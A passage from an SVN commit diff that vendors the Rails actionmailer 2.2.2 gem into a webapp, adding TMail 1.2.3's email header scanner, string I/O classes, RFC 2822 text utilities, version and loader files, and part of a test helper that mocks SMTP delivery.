+    domlit_with_iso2022  = /\A(?:[^\\\e\]]+|#{iso2022str})+/n
+    comment_with_iso2022 = /\A(?:[^\\\e()]+|#{iso2022str})+/n
+
+    quoted_without_iso2022  = /\A[^\\"]+/n
+    domlit_without_iso2022  = /\A[^\\\]]+/n
+    comment_without_iso2022 = /\A[^\\()]+/n
+
+    PATTERN_TABLE = {}
+    PATTERN_TABLE['EUC'] =
+      [
+        /\A(?:[#{atomchars}]+|#{iso2022str}|#{eucstr})+/n,
+        /\A(?:[#{tokenchars}]+|#{iso2022str}|#{eucstr})+/n,
+        quoted_with_iso2022,
+        domlit_with_iso2022,
+        comment_with_iso2022
+      ]
+    PATTERN_TABLE['SJIS'] =
+      [
+        /\A(?:[#{atomchars}]+|#{iso2022str}|#{sjisstr})+/n,
+        /\A(?:[#{tokenchars}]+|#{iso2022str}|#{sjisstr})+/n,
+        quoted_with_iso2022,
+        domlit_with_iso2022,
+        comment_with_iso2022
+      ]
+    PATTERN_TABLE['UTF8'] =
+      [
+        /\A(?:[#{atomchars}]+|#{utf8str})+/n,
+        /\A(?:[#{tokenchars}]+|#{utf8str})+/n,
+        quoted_without_iso2022,
+        domlit_without_iso2022,
+        comment_without_iso2022
+      ]
+    PATTERN_TABLE['NONE'] =
+      [
+        /\A[#{atomchars}]+/n,
+        /\A[#{tokenchars}]+/n,
+        quoted_without_iso2022,
+        domlit_without_iso2022,
+        comment_without_iso2022
+      ]
+
+
+    def initialize( str, scantype, comments )
+      init_scanner str
+      @comments = comments || []
+      @debug    = false
+
+      # fix scanner mode
+      @received  = (scantype == :RECEIVED)
+      @is_mime_header = MIME_HEADERS[scantype]
+
+      atom, token, @quoted_re, @domlit_re, @comment_re = PATTERN_TABLE[TMail.KCODE]
+      @word_re = (MIME_HEADERS[scantype] ? token : atom)
+    end
+
+    attr_accessor :debug
+
+    def scan( &block )
+      if @debug
+        scan_main do |arr|
+          s, v = arr
+          printf "%7d %-10s %s\n",
+                 rest_size(),
+                 s.respond_to?(:id2name) ? s.id2name : s.inspect,
+                 v.inspect
+          yield arr
+        end
+      else
+        scan_main(&block)
+      end
+    end
+
+    private
+
+    RECV_TOKEN = {
+      'from' => :FROM,
+      'by'   => :BY,
+      'via'  => :VIA,
+      'with' => :WITH,
+      'id'   => :ID,
+      'for'  => :FOR
+    }
+
+    def scan_main
+      until eof?
+        if skip(/\A[\n\r\t ]+/n)   # LWSP
+          break if eof?
+        end
+
+        if s = readstr(@word_re)
+          if @is_mime_header
+            yield [:TOKEN, s]
+          else
+            # atom
+            if /\A\d+\z/ === s
+              yield [:DIGIT, s]
+            elsif @received
+              yield [RECV_TOKEN[s.downcase] || :ATOM, s]
+            else
+              yield [:ATOM, s]
+            end
+          end
+
+        elsif skip(/\A"/)
+          yield [:QUOTED, scan_quoted_word()]
+
+        elsif skip(/\A\[/)
+          yield [:DOMLIT, scan_domain_literal()]
+
+        elsif skip(/\A\(/)
+          @comments.push scan_comment()
+
+        else
+          c = readchar()
+          yield [c, c]
+        end
+      end
+
+      yield [false, '$']
+    end
+
+    def scan_quoted_word
+      scan_qstr(@quoted_re, /\A"/, 'quoted-word')
+    end
+
+    def scan_domain_literal
+      '[' + scan_qstr(@domlit_re, /\A\]/, 'domain-literal') + ']'
+    end
+
+    def scan_qstr( pattern, terminal, type )
+      result = ''
+      until eof?
+        if    s = readstr(pattern) then result << s
+        elsif skip(terminal)       then return result
+        elsif skip(/\A\\/)         then result << readchar()
+        else
+          raise "TMail FATAL: not match in #{type}"
+        end
+      end
+      scan_error! "found unterminated #{type}"
+    end
+
+    def scan_comment
+      result = ''
+      nest = 1
+      content = @comment_re
+
+      until eof?
+        if s = readstr(content) then result << s
+        elsif skip(/\A\)/)      then nest -= 1
+                                     return result if nest == 0
+                                     result << ')'
+        elsif skip(/\A\(/)      then nest += 1
+                                     result << '('
+        elsif skip(/\A\\/)      then result << readchar()
+        else
+          raise 'TMail FATAL: not match in comment'
+        end
+      end
+      scan_error! 'found unterminated comment'
+    end
+
+    # string scanner
+
+    def init_scanner( str )
+      @src = str
+    end
+
+    def eof?
+      @src.empty?
+    end
+
+    def rest_size
+      @src.size
+    end
+
+    def readstr( re )
+      if m = re.match(@src)
+        @src = m.post_match
+        m[0]
+      else
+        nil
+      end
+    end
+
+    def readchar
+      readstr(/\A./)
+    end
+
+    def skip( re )
+      if m = re.match(@src)
+        @src = m.post_match
+        true
+      else
+        false
+      end
+    end
+
+    def scan_error!( msg )
+      raise SyntaxError, msg
+    end
+
+  end
+
+end   # module TMail
+#:startdoc:
\ No newline at end of file

Added: trunk/src/main/webapp/WEB-INF/gems/gems/actionmailer-2.2.2/lib/action_mailer/vendor/tmail-1.2.3/tmail/stringio.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/actionmailer-2.2.2/lib/action_mailer/vendor/tmail-1.2.3/tmail/stringio.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/actionmailer-2.2.2/lib/action_mailer/vendor/tmail-1.2.3/tmail/stringio.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,280 @@
+# encoding: utf-8
+=begin rdoc
+
+= String handling class
+
+=end
+#--
+# Copyright (c) 1998-2003 Minero Aoki <aamine at loveruby.net>
+#
+# Permission is hereby granted, free of charge, to any person obtaining
+# a copy of this software and associated documentation files (the
+# "Software"), to deal in the Software without restriction, including
+# without limitation the rights to use, copy, modify, merge, publish,
+# distribute, sublicense, and/or sell copies of the Software, and to
+# permit persons to whom the Software is furnished to do so, subject to
+# the following conditions:
+#
+# The above copyright notice and this permission notice shall be
+# included in all copies or substantial portions of the Software.
+#
+# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
+# EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
+# MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
+# NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE
+# LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION
+# OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION
+# WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
+#
+# Note: Originally licensed under LGPL v2+. Using MIT license for Rails
+# with permission of Minero Aoki.
+#++
+
+class StringInput#:nodoc:
+
+  include Enumerable
+
+  class << self
+
+    def new( str )
+      if block_given?
+        begin
+          f = super
+          yield f
+        ensure
+          f.close if f
+        end
+      else
+        super
+      end
+    end
+
+    alias open new
+  
+  end
+
+  def initialize( str )
+    @src = str
+    @pos = 0
+    @closed = false
+    @lineno = 0
+  end
+
+  attr_reader :lineno
+
+  def string
+    @src
+  end
+
+  def inspect
+    "#<#{self.class}:#{@closed ? 'closed' : 'open'},src=#{@src[0,30].inspect}>"
+  end
+
+  def close
+    stream_check!
+    @pos = nil
+    @closed = true
+  end
+
+  def closed?
+    @closed
+  end
+
+  def pos
+    stream_check!
+    [@pos, @src.size].min
+  end
+
+  alias tell pos
+
+  def seek( offset, whence = IO::SEEK_SET )
+    stream_check!
+    case whence
+    when IO::SEEK_SET
+      @pos = offset
+    when IO::SEEK_CUR
+      @pos += offset
+    when IO::SEEK_END
+      @pos = @src.size - offset
+    else
+      raise ArgumentError, "unknown seek flag: #{whence}"
+    end
+    @pos = 0 if @pos < 0
+    @pos = [@pos, @src.size + 1].min
+    offset
+  end
+
+  def rewind
+    stream_check!
+    @pos = 0
+  end
+
+  def eof?
+    stream_check!
+    @pos > @src.size
+  end
+
+  def each( &block )
+    stream_check!
+    begin
+      @src.each(&block)
+    ensure
+      @pos = 0
+    end
+  end
+
+  def gets
+    stream_check!
+    if idx = @src.index(?\n, @pos)
+      idx += 1  # "\n".size
+      line = @src[ @pos ... idx ]
+      @pos = idx
+      @pos += 1 if @pos == @src.size
+    else
+      line = @src[ @pos .. -1 ]
+      @pos = @src.size + 1
+    end
+    @lineno += 1
+
+    line
+  end
+
+  def getc
+    stream_check!
+    ch = @src[@pos]
+    @pos += 1
+    @pos += 1 if @pos == @src.size
+    ch
+  end
+
+  def read( len = nil )
+    stream_check!
+    return read_all unless len
+    str = @src[@pos, len]
+    @pos += len
+    @pos += 1 if @pos == @src.size
+    str
+  end
+
+  alias sysread read
+
+  def read_all
+    stream_check!
+    return nil if eof?
+    rest = @src[@pos ... @src.size]
+    @pos = @src.size + 1
+    rest
+  end
+
+  def stream_check!
+    @closed and raise IOError, 'closed stream'
+  end
+
+end
+
+
+class StringOutput#:nodoc:
+
+  class << self
+
+    def new( str = '' )
+      if block_given?
+        begin
+          f = super
+          yield f
+        ensure
+          f.close if f
+        end
+      else
+        super
+      end
+    end
+
+    alias open new
+  
+  end
+
+  def initialize( str = '' )
+    @dest = str
+    @closed = false
+  end
+
+  def close
+    @closed = true
+  end
+
+  def closed?
+    @closed
+  end
+
+  def string
+    @dest
+  end
+
+  alias value string
+  alias to_str string
+
+  def size
+    @dest.size
+  end
+
+  alias pos size
+
+  def inspect
+    "#<#{self.class}:#{@dest ? 'open' : 'closed'},#{object_id}>"
+  end
+
+  def print( *args )
+    stream_check!
+    raise ArgumentError, 'wrong # of argument (0 for >1)' if args.empty?
+    args.each do |s|
+      raise ArgumentError, 'nil not allowed' if s.nil?
+      @dest << s.to_s
+    end
+    nil
+  end
+
+  def puts( *args )
+    stream_check!
+    args.each do |str|
+      @dest << (s = str.to_s)
+      @dest << "\n" unless s[-1] == ?\n
+    end
+    @dest << "\n" if args.empty?
+    nil
+  end
+
+  def putc( ch )
+    stream_check!
+    @dest << ch.chr
+    nil
+  end
+
+  def printf( *args )
+    stream_check!
+    @dest << sprintf(*args)
+    nil
+  end
+
+  def write( str )
+    stream_check!
+    s = str.to_s
+    @dest << s
+    s.size
+  end
+
+  alias syswrite write
+
+  def <<( str )
+    stream_check!
+    @dest << str.to_s
+    self
+  end
+
+  private
+
+  def stream_check!
+    @closed and raise IOError, 'closed stream'
+  end
+
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/actionmailer-2.2.2/lib/action_mailer/vendor/tmail-1.2.3/tmail/utils.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/actionmailer-2.2.2/lib/action_mailer/vendor/tmail-1.2.3/tmail/utils.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/actionmailer-2.2.2/lib/action_mailer/vendor/tmail-1.2.3/tmail/utils.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,337 @@
+#--
+# Copyright (c) 1998-2003 Minero Aoki <aamine at loveruby.net>
+#
+# Permission is hereby granted, free of charge, to any person obtaining
+# a copy of this software and associated documentation files (the
+# "Software"), to deal in the Software without restriction, including
+# without limitation the rights to use, copy, modify, merge, publish,
+# distribute, sublicense, and/or sell copies of the Software, and to
+# permit persons to whom the Software is furnished to do so, subject to
+# the following conditions:
+#
+# The above copyright notice and this permission notice shall be
+# included in all copies or substantial portions of the Software.
+#
+# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
+# EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
+# MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
+# NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE
+# LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION
+# OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION
+# WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
+#
+# Note: Originally licensed under LGPL v2+. Using MIT license for Rails
+# with permission of Minero Aoki.
+#++
+
+# = TMail - The EMail Swiss Army Knife for Ruby
+# 
+# The TMail library provides you with a very complete way to handle and manipulate EMails
+# from within your Ruby programs.
+# 
+# Used as the backbone for email handling by the Ruby on Rails and Nitro web frameworks as
+# well as a bunch of other Ruby apps including the Ruby-Talk mailing list to newsgroup email
+# gateway, it is a proven and reliable email handler that won't let you down.
+# 
+# Originally created by Minero Aoki, TMail has been recently picked up by Mikel Lindsaar and
+# is being actively maintained.  Numerous backlogged bug fixes have been applied as well as
+# Ruby 1.9 compatibility and a swath of documentation to boot.
+# 
+# TMail allows you to treat an email totally as an object and allow you to get on with your
+# own programming without having to worry about crafting the perfect email address validation
+# parser, or assembling an email from all it's component parts.
+# 
+# TMail handles the most complex part of the email - the header.  It generates and parses
+# headers and provides you with instant access to their innards through simple and logically
+# named accessor and setter methods.
+# 
+# TMail also provides a wrapper to Net/SMTP as well as Unix Mailbox handling methods to
+# directly read emails from your unix mailbox, parse them and use them.
+# 
+# Following is the comprehensive list of methods to access TMail::Mail objects.  You can also
+# check out TMail::Mail, TMail::Address and TMail::Headers for other lists.
+module TMail
+
+  # Provides an exception to throw on errors in Syntax within TMail's parsers
+  class SyntaxError < StandardError; end
+
+  # Provides a new email boundary to separate parts of the email.  This is a random
+  # string based off the current time, so should be fairly unique.
+  # 
+  # For Example:
+  # 
+  #  TMail.new_boundary
+  #  #=> "mimepart_47bf656968207_25a8fbb80114"
+  #  TMail.new_boundary
+  #  #=> "mimepart_47bf66051de4_25a8fbb80240"
+  def TMail.new_boundary
+    'mimepart_' + random_tag
+  end
+
+  # Provides a new email message ID.  You can use this to generate unique email message
+  # id's for your email so you can track them.
+  # 
+  # Optionally takes a fully qualified domain name (default to the current hostname 
+  # returned by Socket.gethostname) that will be appended to the message ID.
+  # 
+  # For Example:
+  # 
+  #  email.message_id = TMail.new_message_id
+  #  #=> "<47bf66845380e_25a8fbb80332 at baci.local.tmail>"
+  #  email.to_s
+  #  #=> "Message-Id: <47bf668b633f1_25a8fbb80475 at baci.local.tmail>\n\n"
+  #  email.message_id = TMail.new_message_id("lindsaar.net")
+  #  #=> "<47bf668b633f1_25a8fbb80475 at lindsaar.net.tmail>"
+  #  email.to_s
+  #  #=> "Message-Id: <47bf668b633f1_25a8fbb80475 at lindsaar.net.tmail>\n\n"
+  def TMail.new_message_id( fqdn = nil )
+    fqdn ||= ::Socket.gethostname
+    "<#{random_tag()}@#{fqdn}.tmail>"
+  end
+
+  #:stopdoc:
+  def TMail.random_tag #:nodoc:
+    @uniq += 1
+    t = Time.now
+    sprintf('%x%x_%x%x%d%x',
+            t.to_i, t.tv_usec,
+            $$, Thread.current.object_id, @uniq, rand(255))
+  end
+  private_class_method :random_tag
+
+  @uniq = 0
+
+  #:startdoc:
+  
+  # Text Utils provides a namespace to define TOKENs, ATOMs, PHRASEs and CONTROL characters that
+  # are OK per RFC 2822.
+  # 
+  # It also provides methods you can call to determine if a string is safe
+  module TextUtils
+
+    aspecial     = %Q|()<>[]:;.\\,"|
+    tspecial     = %Q|()<>[];:\\,"/?=|
+    lwsp         = %Q| \t\r\n|
+    control      = %Q|\x00-\x1f\x7f-\xff|
+
+    CONTROL_CHAR  = /[#{control}]/n
+    ATOM_UNSAFE   = /[#{Regexp.quote aspecial}#{control}#{lwsp}]/n
+    PHRASE_UNSAFE = /[#{Regexp.quote aspecial}#{control}]/n
+    TOKEN_UNSAFE  = /[#{Regexp.quote tspecial}#{control}#{lwsp}]/n
+    
+    # Returns true if the string supplied is free from characters not allowed as an ATOM
+    def atom_safe?( str )
+      not ATOM_UNSAFE === str
+    end
+
+    # If the string supplied has ATOM unsafe characters in it, will return the string quoted 
+    # in double quotes, otherwise returns the string unmodified
+    def quote_atom( str )
+      (ATOM_UNSAFE === str) ? dquote(str) : str
+    end
+
+    # If the string supplied has PHRASE unsafe characters in it, will return the string quoted 
+    # in double quotes, otherwise returns the string unmodified
+    def quote_phrase( str )
+      (PHRASE_UNSAFE === str) ? dquote(str) : str
+    end
+
+    # Returns true if the string supplied is free from characters not allowed as a TOKEN
+    def token_safe?( str )
+      not TOKEN_UNSAFE === str
+    end
+
+    # If the string supplied has TOKEN unsafe characters in it, will return the string quoted 
+    # in double quotes, otherwise returns the string unmodified
+    def quote_token( str )
+      (TOKEN_UNSAFE === str) ? dquote(str) : str
+    end
+
+    # Wraps supplied string in double quotes unless it is already wrapped
+    # Returns double quoted string
+    def dquote( str ) #:nodoc:
+      unless str =~ /^".*?"$/
+        '"' + str.gsub(/["\\]/n) {|s| '\\' + s } + '"'
+      else
+        str
+      end
+    end
+    private :dquote
+
+    # Unwraps supplied string from inside double quotes
+    # Returns unquoted string
+    def unquote( str )
+      str =~ /^"(.*?)"$/ ? $1 : str
+    end
+    
+    # Provides a method to join a domain name by it's parts and also makes it
+    # ATOM safe by quoting it as needed
+    def join_domain( arr )
+      arr.map {|i|
+          if /\A\[.*\]\z/ === i
+            i
+          else
+            quote_atom(i)
+          end
+      }.join('.')
+    end
+
+    #:stopdoc:
+    ZONESTR_TABLE = {
+      'jst' =>   9 * 60,
+      'eet' =>   2 * 60,
+      'bst' =>   1 * 60,
+      'met' =>   1 * 60,
+      'gmt' =>   0,
+      'utc' =>   0,
+      'ut'  =>   0,
+      'nst' => -(3 * 60 + 30),
+      'ast' =>  -4 * 60,
+      'edt' =>  -4 * 60,
+      'est' =>  -5 * 60,
+      'cdt' =>  -5 * 60,
+      'cst' =>  -6 * 60,
+      'mdt' =>  -6 * 60,
+      'mst' =>  -7 * 60,
+      'pdt' =>  -7 * 60,
+      'pst' =>  -8 * 60,
+      'a'   =>  -1 * 60,
+      'b'   =>  -2 * 60,
+      'c'   =>  -3 * 60,
+      'd'   =>  -4 * 60,
+      'e'   =>  -5 * 60,
+      'f'   =>  -6 * 60,
+      'g'   =>  -7 * 60,
+      'h'   =>  -8 * 60,
+      'i'   =>  -9 * 60,
+      # j not use
+      'k'   => -10 * 60,
+      'l'   => -11 * 60,
+      'm'   => -12 * 60,
+      'n'   =>   1 * 60,
+      'o'   =>   2 * 60,
+      'p'   =>   3 * 60,
+      'q'   =>   4 * 60,
+      'r'   =>   5 * 60,
+      's'   =>   6 * 60,
+      't'   =>   7 * 60,
+      'u'   =>   8 * 60,
+      'v'   =>   9 * 60,
+      'w'   =>  10 * 60,
+      'x'   =>  11 * 60,
+      'y'   =>  12 * 60,
+      'z'   =>   0 * 60
+    }
+    #:startdoc:
+
+    # Takes a time zone string from an EMail and converts it to Unix Time (seconds)
+    def timezone_string_to_unixtime( str )
+      if m = /([\+\-])(\d\d?)(\d\d)/.match(str)
+        sec = (m[2].to_i * 60 + m[3].to_i) * 60
+        m[1] == '-' ? -sec : sec
+      else
+        min = ZONESTR_TABLE[str.downcase] or
+                raise SyntaxError, "wrong timezone format '#{str}'"
+        min * 60
+      end
+    end
+
+    #:stopdoc:
+    WDAY = %w( Sun Mon Tue Wed Thu Fri Sat TMailBUG )
+    MONTH = %w( TMailBUG Jan Feb Mar Apr May Jun
+                         Jul Aug Sep Oct Nov Dec TMailBUG )
+
+    def time2str( tm )
+      # [ruby-list:7928]
+      gmt = Time.at(tm.to_i)
+      gmt.gmtime
+      offset = tm.to_i - Time.local(*gmt.to_a[0,6].reverse).to_i
+
+      # DO NOT USE strftime: setlocale() breaks it
+      sprintf '%s, %s %s %d %02d:%02d:%02d %+.2d%.2d',
+              WDAY[tm.wday], tm.mday, MONTH[tm.month],
+              tm.year, tm.hour, tm.min, tm.sec,
+              *(offset / 60).divmod(60)
+    end
+
+
+    MESSAGE_ID = /<[^\@>]+\@[^>\@]+>/
+    
+    def message_id?( str )
+      MESSAGE_ID === str
+    end
+
+
+    MIME_ENCODED = /=\?[^\s?=]+\?[QB]\?[^\s?=]+\?=/i
+
+    def mime_encoded?( str )
+      MIME_ENCODED === str
+    end
+  
+
+    def decode_params( hash )
+      new = Hash.new
+      encoded = nil
+      hash.each do |key, value|
+        if m = /\*(?:(\d+)\*)?\z/.match(key)
+          ((encoded ||= {})[m.pre_match] ||= [])[(m[1] || 0).to_i] = value
+        else
+          new[key] = to_kcode(value)
+        end
+      end
+      if encoded
+        encoded.each do |key, strings|
+          new[key] = decode_RFC2231(strings.join(''))
+        end
+      end
+
+      new
+    end
+
+    NKF_FLAGS = {
+      'EUC'  => '-e -m',
+      'SJIS' => '-s -m'
+    }
+
+    def to_kcode( str )
+      flag = NKF_FLAGS[TMail.KCODE] or return str
+      NKF.nkf(flag, str)
+    end
+
+    RFC2231_ENCODED = /\A(?:iso-2022-jp|euc-jp|shift_jis|us-ascii)?'[a-z]*'/in
+
+    def decode_RFC2231( str )
+      m = RFC2231_ENCODED.match(str) or return str
+      begin
+        to_kcode(m.post_match.gsub(/%[\da-f]{2}/in) {|s| s[1,2].hex.chr })
+      rescue
+        m.post_match.gsub(/%[\da-f]{2}/in, "")
+      end
+    end
+
+    def quote_boundary
+      # Make sure the Content-Type boundary= parameter is quoted if it contains illegal characters
+      # (to ensure any special characters in the boundary text are escaped from the parser
+      # (such as = in MS Outlook's boundary text))
+      if @body =~ /^(.*)boundary=(.*)$/m
+        preamble = $1
+        remainder = $2
+        if remainder =~ /;/
+          remainder =~ /^(.*?)(;.*)$/m
+          boundary_text = $1
+          post = $2.chomp
+        else
+          boundary_text = remainder.chomp
+        end
+        if boundary_text =~ /[\/\?\=]/
+          boundary_text = "\"#{boundary_text}\"" unless boundary_text =~ /^".*?"$/
+          @body = "#{preamble}boundary=#{boundary_text}#{post}"
+        end
+      end
+    end
+    #:startdoc:
+
+
+  end
+
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/actionmailer-2.2.2/lib/action_mailer/vendor/tmail-1.2.3/tmail/version.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/actionmailer-2.2.2/lib/action_mailer/vendor/tmail-1.2.3/tmail/version.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/actionmailer-2.2.2/lib/action_mailer/vendor/tmail-1.2.3/tmail/version.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,39 @@
+#
+# version.rb
+#
+#--
+# Copyright (c) 1998-2003 Minero Aoki <aamine at loveruby.net>
+#
+# Permission is hereby granted, free of charge, to any person obtaining
+# a copy of this software and associated documentation files (the
+# "Software"), to deal in the Software without restriction, including
+# without limitation the rights to use, copy, modify, merge, publish,
+# distribute, sublicense, and/or sell copies of the Software, and to
+# permit persons to whom the Software is furnished to do so, subject to
+# the following conditions:
+#
+# The above copyright notice and this permission notice shall be
+# included in all copies or substantial portions of the Software.
+#
+# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
+# EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
+# MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
+# NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE
+# LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION
+# OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION
+# WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
+#
+# Note: Originally licensed under LGPL v2+. Using MIT license for Rails
+# with permission of Minero Aoki.
+#++
+
+#:stopdoc:
+module TMail
+  module VERSION
+    MAJOR = 1
+    MINOR = 2
+    TINY  = 3
+
+    STRING = [MAJOR, MINOR, TINY].join('.')
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/actionmailer-2.2.2/lib/action_mailer/vendor/tmail-1.2.3/tmail.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/actionmailer-2.2.2/lib/action_mailer/vendor/tmail-1.2.3/tmail.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/actionmailer-2.2.2/lib/action_mailer/vendor/tmail-1.2.3/tmail.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,5 @@
+require 'tmail/version'
+require 'tmail/mail'
+require 'tmail/mailbox'
+require 'tmail/core_extensions'
+require 'tmail/net'

Added: trunk/src/main/webapp/WEB-INF/gems/gems/actionmailer-2.2.2/lib/action_mailer/vendor.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/actionmailer-2.2.2/lib/action_mailer/vendor.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/actionmailer-2.2.2/lib/action_mailer/vendor.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,14 @@
+# Prefer gems to the bundled libs.
+require 'rubygems'
+
+begin
+  gem 'tmail', '~> 1.2.3'
+rescue Gem::LoadError
+  $:.unshift "#{File.dirname(__FILE__)}/vendor/tmail-1.2.3"
+end
+
+begin
+  gem 'text-format', '>= 0.6.3'
+rescue Gem::LoadError
+  $:.unshift "#{File.dirname(__FILE__)}/vendor/text-format-0.6.3"
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/actionmailer-2.2.2/lib/action_mailer/version.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/actionmailer-2.2.2/lib/action_mailer/version.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/actionmailer-2.2.2/lib/action_mailer/version.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,9 @@
+module ActionMailer
+  module VERSION #:nodoc:
+    MAJOR = 2
+    MINOR = 2
+    TINY  = 2
+
+    STRING = [MAJOR, MINOR, TINY].join('.')
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/actionmailer-2.2.2/lib/action_mailer.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/actionmailer-2.2.2/lib/action_mailer.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/actionmailer-2.2.2/lib/action_mailer.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,52 @@
+#--
+# Copyright (c) 2004-2008 David Heinemeier Hansson
+#
+# Permission is hereby granted, free of charge, to any person obtaining
+# a copy of this software and associated documentation files (the
+# "Software"), to deal in the Software without restriction, including
+# without limitation the rights to use, copy, modify, merge, publish,
+# distribute, sublicense, and/or sell copies of the Software, and to
+# permit persons to whom the Software is furnished to do so, subject to
+# the following conditions:
+#
+# The above copyright notice and this permission notice shall be
+# included in all copies or substantial portions of the Software.
+#
+# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
+# EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
+# MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
+# NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE
+# LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION
+# OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION
+# WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
+#++
+
+begin
+  require 'action_controller'
+rescue LoadError
+  actionpack_path = "#{File.dirname(__FILE__)}/../../actionpack/lib"
+  if File.directory?(actionpack_path)
+    $:.unshift actionpack_path
+    require 'action_controller'
+  end
+end
+
+require 'action_mailer/vendor'
+require 'tmail'
+
+require 'action_mailer/base'
+require 'action_mailer/helpers'
+require 'action_mailer/mail_helper'
+require 'action_mailer/quoting'
+require 'action_mailer/test_helper'
+
+require 'net/smtp'
+
+ActionMailer::Base.class_eval do
+  include ActionMailer::Quoting
+  include ActionMailer::Helpers
+
+  helper MailHelper
+end
+
+silence_warnings { TMail::Encoder.const_set("MAX_LINE_LEN", 200) }

Added: trunk/src/main/webapp/WEB-INF/gems/gems/actionmailer-2.2.2/lib/actionmailer.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/actionmailer-2.2.2/lib/actionmailer.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/actionmailer-2.2.2/lib/actionmailer.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1 @@
+require 'action_mailer'

Added: trunk/src/main/webapp/WEB-INF/gems/gems/actionmailer-2.2.2/test/abstract_unit.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/actionmailer-2.2.2/test/abstract_unit.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/actionmailer-2.2.2/test/abstract_unit.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,62 @@
+require 'test/unit'
+
+$:.unshift "#{File.dirname(__FILE__)}/../lib"
+$:.unshift "#{File.dirname(__FILE__)}/../../activesupport/lib"
+$:.unshift "#{File.dirname(__FILE__)}/../../actionpack/lib"
+require 'action_mailer'
+require 'action_mailer/test_case'
+
+# Show backtraces for deprecated behavior for quicker cleanup.
+ActiveSupport::Deprecation.debug = true
+
+$:.unshift "#{File.dirname(__FILE__)}/fixtures/helpers"
+ActionMailer::Base.template_root = "#{File.dirname(__FILE__)}/fixtures"
+
+class MockSMTP
+  def self.deliveries
+    @@deliveries
+  end
+
+  def initialize
+    @@deliveries = []
+  end
+
+  def sendmail(mail, from, to)
+    @@deliveries << [mail, from, to]
+  end
+
+  def start(*args)
+    yield self
+  end
+end
+
+class Net::SMTP
+  def self.new(*args)
+    MockSMTP.new
+  end
+end
+
+def uses_gem(gem_name, test_name, version = '> 0')
+  require 'rubygems'
